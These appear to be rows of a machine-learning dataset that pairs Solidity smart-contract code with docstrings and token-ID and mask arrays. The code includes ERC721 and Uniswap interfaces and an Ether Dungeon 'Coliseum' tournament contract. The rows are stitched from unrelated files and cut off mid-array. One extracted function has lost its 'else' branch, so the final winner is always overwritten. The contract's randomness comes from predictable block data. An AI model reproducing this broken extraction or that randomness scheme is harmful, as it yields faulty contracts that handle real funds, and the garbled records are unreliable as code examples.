// Because the division is now exact we can divide by multiplying
// with the modular inverse of denominator. This will give us the
// correct result modulo 2**256. Since the precoditions guarantee
// that the outcome is less than 2**256, this is the final result.
// We don't need to compute the high bits of the result and prod1
// is no longer required.
result = prod0 * inv;
return result;
}
/// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
function mulDivRoundingUp(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
result = mulDiv(a, b, denominator);
if (mulmod(a, b, denominator) > 0) {
require(result < type(uint256).max);
result++;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "../../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
library GovIdentityStorage {
bytes32 public constant govSlot = keccak256("GovIdentityStorage.storage.location");
struct Identity{
address governance;
address rewards;
mapping(address=>bool) strategist;
mapping(address=>bool) admin;
}
function load() internal pure returns (Identity storage gov) {
bytes32 loc = govSlot;
assembly {
gov.slot := loc
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Callback for IUniswapV3PoolActions#swap
/// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface
interface IUniswapV3SwapCallback {
/// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap.
/// @dev In the implementation you must pay the pool tokens owed for the swap.
/// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.
/// amount0Delta and amount1Delta can both be 0 if no tokens were swapped.
/// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by
/// the end of the swap. If positive, the callback must send that amount of token0 to the pool.
/// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by
/// the end of the swap. If positive, the callback must send that amount of token1 to the pool.
/// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
| @notice Collect position asset @dev Use checkPos to check the position ID @param tokenId Position ID @param amount0Max Maximum amount of token 0 to be collected @param amount1Max Maximum amount of token 1 to be collected @return amount0 Actual amount of token 0 being collected @return amount1 Actual amount of token 1 being collected | function collect(
uint256 tokenId,
uint128 amount0Max,
uint128 amount1Max
) public onlyPositionManager(tokenId) returns (uint256 amount0, uint256 amount1){
(amount0, amount1) = UniV3PMExtends.PM.collect(INonfungiblePositionManager.CollectParams({
tokenId : tokenId,
recipient : address(this),
amount0Max : amount0Max,
amount1Max : amount1Max
}));
(
,
,
address token0,
address token1,
,
,
,
uint128 liquidity,
,
,
,
) = UniV3PMExtends.PM.positions(tokenId);
address po = positionOwners[tokenId];
if (isStrategist(po)) {
tokenLimit[po][token0] += amount0;
tokenLimit[po][token1] += amount1;
}
if (liquidity == 0) {
works.remove(tokenId);
}
collectAfter(token0, token1, amount0, amount1);
emit Collect(msg.sender, tokenId, amount0, amount1);
}
| 5,843,790 | [
1,
10808,
1754,
3310,
225,
2672,
866,
1616,
358,
866,
326,
1754,
1599,
225,
1147,
548,
11010,
1599,
225,
3844,
20,
2747,
18848,
3844,
434,
1147,
374,
358,
506,
12230,
225,
3844,
21,
2747,
18848,
3844,
434,
1147,
404,
358,
506,
12230,
327,
3844,
20,
23788,
3844,
434,
1147,
374,
3832,
12230,
327,
3844,
21,
23788,
3844,
434,
1147,
404,
3832,
12230,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
3274,
12,
203,
3639,
2254,
5034,
1147,
548,
16,
203,
3639,
2254,
10392,
3844,
20,
2747,
16,
203,
3639,
2254,
10392,
3844,
21,
2747,
203,
565,
262,
1071,
1338,
2555,
1318,
12,
2316,
548,
13,
1135,
261,
11890,
5034,
3844,
20,
16,
2254,
5034,
3844,
21,
15329,
203,
3639,
261,
8949,
20,
16,
3844,
21,
13,
273,
1351,
77,
58,
23,
12728,
19581,
18,
12728,
18,
14676,
12,
706,
265,
12125,
75,
1523,
2555,
1318,
18,
10808,
1370,
12590,
203,
3639,
1147,
548,
294,
1147,
548,
16,
203,
3639,
8027,
294,
1758,
12,
2211,
3631,
203,
3639,
3844,
20,
2747,
294,
3844,
20,
2747,
16,
203,
3639,
3844,
21,
2747,
294,
3844,
21,
2747,
203,
3639,
289,
10019,
203,
3639,
261,
203,
3639,
269,
203,
3639,
269,
203,
3639,
1758,
1147,
20,
16,
203,
3639,
1758,
1147,
21,
16,
203,
3639,
269,
203,
3639,
269,
203,
3639,
269,
203,
3639,
2254,
10392,
4501,
372,
24237,
16,
203,
3639,
269,
203,
3639,
269,
203,
3639,
269,
203,
3639,
262,
273,
1351,
77,
58,
23,
12728,
19581,
18,
12728,
18,
12388,
12,
2316,
548,
1769,
203,
3639,
1758,
8275,
273,
1754,
5460,
414,
63,
2316,
548,
15533,
203,
3639,
309,
261,
291,
1585,
1287,
376,
12,
1631,
3719,
288,
203,
5411,
1147,
3039,
63,
1631,
6362,
2316,
20,
65,
1011,
3844,
20,
31,
203,
5411,
1147,
3039,
63,
1631,
6362,
2316,
21,
65,
1011,
3844,
21,
31,
203,
3639,
289,
203,
3639,
309,
261,
549,
372,
24237,
422,
374,
13,
288,
203,
5411,
6330,
2
] |
//Address: 0x95bE22039DA3114d17A38b9E7CD9b3576dE83924
//Contract name: EDColiseumAlpha
//Balance: 0.0534375 Ether
//Verification Date: 3/13/2018
//Transacion Count: 319
// CODE STARTS HERE
pragma solidity ^0.4.19;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/**
* @title Helps contracts guard agains reentrancy attacks.
* @author Remco Bloemen <remco@2π.com>
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`.
*/
contract ReentrancyGuard {
/**
* @dev We use a single lock for the whole contract.
*/
bool private reentrancy_lock = false;
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`. Calling one nonReentrant function from
* another is not supported. Instead, you can implement a
* `private` function doing the actual work, and a `external`
* wrapper marked as `nonReentrant`.
*/
modifier nonReentrant() {
require(!reentrancy_lock);
reentrancy_lock = true;
_;
reentrancy_lock = false;
}
}
/**
* @title Destructible
* @dev Base contract that can be destroyed by owner. All funds in contract will be sent to the owner.
*/
contract Destructible is Ownable {
function Destructible() public payable { }
/**
* @dev Transfers the current balance to the owner and terminates the contract.
*/
function destroy() onlyOwner public {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) onlyOwner public {
selfdestruct(_recipient);
}
}
/// @dev Interface to the Core Contract of Ether Dungeon.
contract EDCoreInterface {
/// @dev The external function to get all the game settings in one call.
function getGameSettings() external view returns (
uint _recruitHeroFee,
uint _transportationFeeMultiplier,
uint _noviceDungeonId,
uint _consolationRewardsRequiredFaith,
uint _challengeFeeMultiplier,
uint _dungeonPreparationTime,
uint _trainingFeeMultiplier,
uint _equipmentTrainingFeeMultiplier,
uint _preparationPeriodTrainingFeeMultiplier,
uint _preparationPeriodEquipmentTrainingFeeMultiplier
);
/**
* @dev The external function to get all the relevant information about a specific player by its address.
* @param _address The address of the player.
*/
function getPlayerDetails(address _address) external view returns (
uint dungeonId,
uint payment,
uint dungeonCount,
uint heroCount,
uint faith,
bool firstHeroRecruited
);
/**
* @dev The external function to get all the relevant information about a specific dungeon by its ID.
* @param _id The ID of the dungeon.
*/
function getDungeonDetails(uint _id) external view returns (
uint creationTime,
uint status,
uint difficulty,
uint capacity,
address owner,
bool isReady,
uint playerCount
);
/**
* @dev Split floor related details out of getDungeonDetails, just to avoid Stack Too Deep error.
* @param _id The ID of the dungeon.
*/
function getDungeonFloorDetails(uint _id) external view returns (
uint floorNumber,
uint floorCreationTime,
uint rewards,
uint seedGenes,
uint floorGenes
);
/**
* @dev The external function to get all the relevant information about a specific hero by its ID.
* @param _id The ID of the hero.
*/
function getHeroDetails(uint _id) external view returns (
uint creationTime,
uint cooldownStartTime,
uint cooldownIndex,
uint genes,
address owner,
bool isReady,
uint cooldownRemainingTime
);
/// @dev Get the attributes (equipments + stats) of a hero from its gene.
function getHeroAttributes(uint _genes) public pure returns (uint[]);
/// @dev Calculate the power of a hero from its gene, it calculates the equipment power, stats power, and super hero boost.
function getHeroPower(uint _genes, uint _dungeonDifficulty) public pure returns (
uint totalPower,
uint equipmentPower,
uint statsPower,
bool isSuper,
uint superRank,
uint superBoost
);
/// @dev Calculate the power of a dungeon floor.
function getDungeonPower(uint _genes) public pure returns (uint);
/**
* @dev Calculate the sum of top 5 heroes power a player owns.
* The gas usage increased with the number of heroes a player owned, roughly 500 x hero count.
* This is used in transport function only to calculate the required tranport fee.
*/
function calculateTop5HeroesPower(address _address, uint _dungeonId) public view returns (uint);
}
/// @dev Core Contract of "Enter the Coliseum" game of the ED (Ether Dungeon) Platform.
contract EDColiseumAlpha is Pausable, ReentrancyGuard, Destructible {
struct Participant {
address player;
uint heroId;
uint heroPower;
}
/// @dev The address of the EtherDungeonCore contract.
EDCoreInterface public edCoreContract = EDCoreInterface(0xf7eD56c1AC4d038e367a987258b86FC883b960a1);
/// @dev Seed for the random number generator used for calculating fighting result.
uint _seed;
/* ======== SETTINGS ======== */
/// @dev The required win count to win a jackpot.
uint public jackpotWinCount = 3;
/// @dev The percentage of jackpot a player get when reaching the jackpotWinCount.
uint public jackpotWinPercent = 50;
/// @dev The percentage of rewards a player get when being the final winner of a tournament.
uint public winPercent = 55;
/// @dev The percentage of rewards a player get when being the final loser of a tournament, remaining will add to tournamentJackpot.
uint public losePercent = 35;
/// @dev Dungeon difficulty to be used when calculating super hero power boost, 1 is no boost.
uint public dungeonDifficulty = 1;
/// @dev The required fee to join a participant
uint public participationFee = 0.02 ether;
/// @dev The maximum number of participants for a tournament.
uint public constant maxParticipantCount = 8;
/* ======== STATE VARIABLES ======== */
/// @dev The next tournaments round number.
uint public nextTournamentRound = 1;
/// @dev The current accumulated rewards pool.
uint public tournamentRewards;
/// @dev The current accumulated jackpot.
uint public tournamentJackpot = 0.2 ether;
/// @dev Array of all the participant for next tournament.
Participant[] public participants;
/// @dev Array of all the participant for the previous tournament.
Participant[] public previousParticipants;
/// @dev Array to store the participant index all winners / losers for each "fighting round" of the previous tournament.
uint[maxParticipantCount / 2] public firstRoundWinners;
uint[maxParticipantCount / 4] public secondRoundWinners;
uint[maxParticipantCount / 2] public firstRoundLosers;
uint[maxParticipantCount / 4] public secondRoundLosers;
uint public finalWinner;
uint public finalLoser;
/// @dev Mapping of hero ID to the hero's last participated tournament round to avoid repeated hero participation.
mapping(uint => uint) public heroIdToLastRound;
/// @dev Mapping of player ID to the consecutive win counts, used for calculating jackpot.
mapping(address => uint) public playerToWinCounts;
/* ======== EVENTS ======== */
/// @dev The PlayerTransported event is fired when user transported to another dungeon.
event TournamentFinished(uint timestamp, uint tournamentRound, address finalWinner, address finalLoser, uint winnerRewards, uint loserRewards, uint winCount, uint jackpotRewards);
/// @dev Payable constructor to pass in the initial jackpot ethers.
function EDColiseum() public payable {}
/* ======== PUBLIC/EXTERNAL FUNCTIONS ======== */
/// @dev The external function to get all the game settings in one call.
function getGameSettings() external view returns (
uint _jackpotWinCount,
uint _jackpotWinPercent,
uint _winPercent,
uint _losePercent,
uint _dungeonDifficulty,
uint _participationFee,
uint _maxParticipantCount
) {
_jackpotWinCount = jackpotWinCount;
_jackpotWinPercent = jackpotWinPercent;
_winPercent = winPercent;
_losePercent = losePercent;
_dungeonDifficulty = dungeonDifficulty;
_participationFee = participationFee;
_maxParticipantCount = maxParticipantCount;
}
/// @dev The external function to get all the game settings in one call.
function getNextTournamentData() external view returns (
uint _nextTournamentRound,
uint _tournamentRewards,
uint _tournamentJackpot,
uint _participantCount
) {
_nextTournamentRound = nextTournamentRound;
_tournamentRewards = tournamentRewards;
_tournamentJackpot = tournamentJackpot;
_participantCount = participants.length;
}
/// @dev The external function to call when joining the next tournament.
function joinTournament(uint _heroId) whenNotPaused nonReentrant external payable {
uint genes;
address owner;
(,,, genes, owner,,) = edCoreContract.getHeroDetails(_heroId);
// Throws if the hero is not owned by the sender.
require(msg.sender == owner);
// Throws if the hero is already participated in the next tournament.
require(heroIdToLastRound[_heroId] != nextTournamentRound);
// Throws if participation count is full.
require(participants.length < maxParticipantCount);
// Throws if payment not enough, any exceeding funds will be transferred back to the player.
require(msg.value >= participationFee);
tournamentRewards += participationFee;
if (msg.value > participationFee) {
msg.sender.transfer(msg.value - participationFee);
}
// Set the hero participation round.
heroIdToLastRound[_heroId] = nextTournamentRound;
// Get the hero power and set it to storage.
uint heroPower;
(heroPower,,,,) = edCoreContract.getHeroPower(genes, dungeonDifficulty);
// Throw if heroPower is 12 (novice hero).
require(heroPower > 12);
// Set the participant data to storage.
participants.push(Participant(msg.sender, _heroId, heroPower));
}
/// @dev The onlyOwner external function to call when joining the next tournament.
function startTournament() onlyOwner nonReentrant external {
// Throws if participation count is not full.
require(participants.length == maxParticipantCount);
// FIGHT!
_firstRoundFight();
_secondRoundWinnersFight();
_secondRoundLosersFight();
_finalRoundWinnersFight();
_finalRoundLosersFight();
// REWARDS!
uint winnerRewards = tournamentRewards * winPercent / 100;
uint loserRewards = tournamentRewards * losePercent / 100;
uint addToJackpot = tournamentRewards - winnerRewards - loserRewards;
address winner = participants[finalWinner].player;
address loser = participants[finalLoser].player;
winner.transfer(winnerRewards);
loser.transfer(loserRewards);
tournamentJackpot += addToJackpot;
// JACKPOT!
playerToWinCounts[winner]++;
// Reset other participants' consecutive winCount.
for (uint i = 0; i < participants.length; i++) {
address participant = participants[i].player;
if (participant != winner && playerToWinCounts[participant] != 0) {
playerToWinCounts[participant] = 0;
}
}
// Detemine if the winner have enough consecutive winnings for jackpot.
uint jackpotRewards;
uint winCount = playerToWinCounts[winner];
if (winCount == jackpotWinCount) {
// Reset consecutive winCount of winner.
playerToWinCounts[winner] = 0;
jackpotRewards = tournamentJackpot * jackpotWinPercent / 100;
tournamentJackpot -= jackpotRewards;
winner.transfer(jackpotRewards);
}
// Reset tournament data and increment round.
tournamentRewards = 0;
previousParticipants = participants;
participants.length = 0;
nextTournamentRound++;
// Emit TournamentFinished event.
TournamentFinished(now, nextTournamentRound - 1, winner, loser, winnerRewards, loserRewards, winCount, jackpotRewards);
}
/// @dev The onlyOwner external function to call to cancel the next tournament and refunds.
function cancelTournament() onlyOwner nonReentrant external {
for (uint i = 0; i < participants.length; i++) {
address participant = participants[i].player;
if (participant != 0x0) {
participant.transfer(participationFee);
}
}
// Reset tournament data and increment round.
tournamentRewards = 0;
participants.length = 0;
nextTournamentRound++;
}
/// @dev Withdraw all Ether from the contract.
function withdrawBalance() onlyOwner external {
// Can only withdraw if no participants joined (i.e. call cancelTournament first.)
require(participants.length == 0);
msg.sender.transfer(this.balance);
}
/* ======== SETTER FUNCTIONS ======== */
function setEdCoreContract(address _newEdCoreContract) onlyOwner external {
edCoreContract = EDCoreInterface(_newEdCoreContract);
}
function setJackpotWinCount(uint _newJackpotWinCount) onlyOwner external {
jackpotWinCount = _newJackpotWinCount;
}
function setJackpotWinPercent(uint _newJackpotWinPercent) onlyOwner external {
jackpotWinPercent = _newJackpotWinPercent;
}
function setWinPercent(uint _newWinPercent) onlyOwner external {
winPercent = _newWinPercent;
}
function setLosePercent(uint _newLosePercent) onlyOwner external {
losePercent = _newLosePercent;
}
function setDungeonDifficulty(uint _newDungeonDifficulty) onlyOwner external {
dungeonDifficulty = _newDungeonDifficulty;
}
function setParticipationFee(uint _newParticipationFee) onlyOwner external {
participationFee = _newParticipationFee;
}
/* ======== INTERNAL/PRIVATE FUNCTIONS ======== */
/// @dev Compute all winners and losers for the first round.
function _firstRoundFight() private {
// Get all hero powers.
uint heroPower0 = participants[0].heroPower;
uint heroPower1 = participants[1].heroPower;
uint heroPower2 = participants[2].heroPower;
uint heroPower3 = participants[3].heroPower;
uint heroPower4 = participants[4].heroPower;
uint heroPower5 = participants[5].heroPower;
uint heroPower6 = participants[6].heroPower;
uint heroPower7 = participants[7].heroPower;
// Random number.
uint rand;
// 0 Vs 1
rand = _getRandomNumber(100);
if (
(heroPower0 > heroPower1 && rand < 60) ||
(heroPower0 == heroPower1 && rand < 50) ||
(heroPower0 < heroPower1 && rand < 40)
) {
firstRoundWinners[0] = 0;
firstRoundLosers[0] = 1;
} else {
firstRoundWinners[0] = 1;
firstRoundLosers[0] = 0;
}
// 2 Vs 3
rand = _getRandomNumber(100);
if (
(heroPower2 > heroPower3 && rand < 60) ||
(heroPower2 == heroPower3 && rand < 50) ||
(heroPower2 < heroPower3 && rand < 40)
) {
firstRoundWinners[1] = 2;
firstRoundLosers[1] = 3;
} else {
firstRoundWinners[1] = 3;
firstRoundLosers[1] = 2;
}
// 4 Vs 5
rand = _getRandomNumber(100);
if (
(heroPower4 > heroPower5 && rand < 60) ||
(heroPower4 == heroPower5 && rand < 50) ||
(heroPower4 < heroPower5 && rand < 40)
) {
firstRoundWinners[2] = 4;
firstRoundLosers[2] = 5;
} else {
firstRoundWinners[2] = 5;
firstRoundLosers[2] = 4;
}
// 6 Vs 7
rand = _getRandomNumber(100);
if (
(heroPower6 > heroPower7 && rand < 60) ||
(heroPower6 == heroPower7 && rand < 50) ||
(heroPower6 < heroPower7 && rand < 40)
) {
firstRoundWinners[3] = 6;
firstRoundLosers[3] = 7;
} else {
firstRoundWinners[3] = 7;
firstRoundLosers[3] = 6;
}
}
/// @dev Compute all second winners of all first round winners.
function _secondRoundWinnersFight() private {
// Get all hero powers of all first round winners.
uint winner0 = firstRoundWinners[0];
uint winner1 = firstRoundWinners[1];
uint winner2 = firstRoundWinners[2];
uint winner3 = firstRoundWinners[3];
uint heroPower0 = participants[winner0].heroPower;
uint heroPower1 = participants[winner1].heroPower;
uint heroPower2 = participants[winner2].heroPower;
uint heroPower3 = participants[winner3].heroPower;
// Random number.
uint rand;
// 0 Vs 1
rand = _getRandomNumber(100);
if (
(heroPower0 > heroPower1 && rand < 60) ||
(heroPower0 == heroPower1 && rand < 50) ||
(heroPower0 < heroPower1 && rand < 40)
) {
secondRoundWinners[0] = winner0;
} else {
secondRoundWinners[0] = winner1;
}
// 2 Vs 3
rand = _getRandomNumber(100);
if (
(heroPower2 > heroPower3 && rand < 60) ||
(heroPower2 == heroPower3 && rand < 50) ||
(heroPower2 < heroPower3 && rand < 40)
) {
secondRoundWinners[1] = winner2;
} else {
secondRoundWinners[1] = winner3;
}
}
/// @dev Compute all second losers of all first round losers.
function _secondRoundLosersFight() private {
// Get all hero powers of all first round losers.
uint loser0 = firstRoundLosers[0];
uint loser1 = firstRoundLosers[1];
uint loser2 = firstRoundLosers[2];
uint loser3 = firstRoundLosers[3];
uint heroPower0 = participants[loser0].heroPower;
uint heroPower1 = participants[loser1].heroPower;
uint heroPower2 = participants[loser2].heroPower;
uint heroPower3 = participants[loser3].heroPower;
// Random number.
uint rand;
// 0 Vs 1
rand = _getRandomNumber(100);
if (
(heroPower0 > heroPower1 && rand < 60) ||
(heroPower0 == heroPower1 && rand < 50) ||
(heroPower0 < heroPower1 && rand < 40)
) {
secondRoundLosers[0] = loser1;
} else {
secondRoundLosers[0] = loser0;
}
// 2 Vs 3
rand = _getRandomNumber(100);
if (
(heroPower2 > heroPower3 && rand < 60) ||
(heroPower2 == heroPower3 && rand < 50) ||
(heroPower2 < heroPower3 && rand < 40)
) {
secondRoundLosers[1] = loser3;
} else {
secondRoundLosers[1] = loser2;
}
}
/// @dev Compute the final winner.
function _finalRoundWinnersFight() private {
// Get all hero powers of all first round winners.
uint winner0 = secondRoundWinners[0];
uint winner1 = secondRoundWinners[1];
uint heroPower0 = participants[winner0].heroPower;
uint heroPower1 = participants[winner1].heroPower;
// Random number.
uint rand;
// 0 Vs 1
rand = _getRandomNumber(100);
if (
(heroPower0 > heroPower1 && rand < 60) ||
(heroPower0 == heroPower1 && rand < 50) ||
(heroPower0 < heroPower1 && rand < 40)
) {
finalWinner = winner0;
} else {
finalWinner = winner1;
}
}
/// @dev Compute the final loser.
function _finalRoundLosersFight() private {
// Get all hero powers of all first round winners.
uint loser0 = secondRoundLosers[0];
uint loser1 = secondRoundLosers[1];
uint heroPower0 = participants[loser0].heroPower;
uint heroPower1 = participants[loser1].heroPower;
// Random number.
uint rand;
// 0 Vs 1
rand = _getRandomNumber(100);
if (
(heroPower0 > heroPower1 && rand < 60) ||
(heroPower0 == heroPower1 && rand < 50) ||
(heroPower0 < heroPower1 && rand < 40)
) {
finalLoser = loser1;
} else {
finalLoser = loser0;
}
}
// @dev Return a pseudo random uint smaller than lower bounds.
function _getRandomNumber(uint _upper) private returns (uint) {
_seed = uint(keccak256(
_seed,
block.blockhash(block.number - 1),
block.coinbase,
block.difficulty
));
return _seed % _upper;
}
}
| @dev Compute the final winner. Get all hero powers of all first round winners. Random number. 0 Vs 1 | function _finalRoundWinnersFight() private {
uint winner0 = secondRoundWinners[0];
uint winner1 = secondRoundWinners[1];
uint heroPower0 = participants[winner0].heroPower;
uint heroPower1 = participants[winner1].heroPower;
uint rand;
rand = _getRandomNumber(100);
if (
(heroPower0 > heroPower1 && rand < 60) ||
(heroPower0 == heroPower1 && rand < 50) ||
(heroPower0 < heroPower1 && rand < 40)
) {
finalWinner = winner0;
finalWinner = winner1;
}
}
| 6,433,388 | [
1,
7018,
326,
727,
5657,
1224,
18,
968,
777,
366,
2439,
7602,
414,
434,
777,
1122,
3643,
5657,
9646,
18,
8072,
1300,
18,
374,
776,
87,
404,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
6385,
11066,
18049,
9646,
42,
750,
1435,
3238,
288,
203,
3639,
2254,
5657,
1224,
20,
273,
2205,
11066,
18049,
9646,
63,
20,
15533,
203,
3639,
2254,
5657,
1224,
21,
273,
2205,
11066,
18049,
9646,
63,
21,
15533,
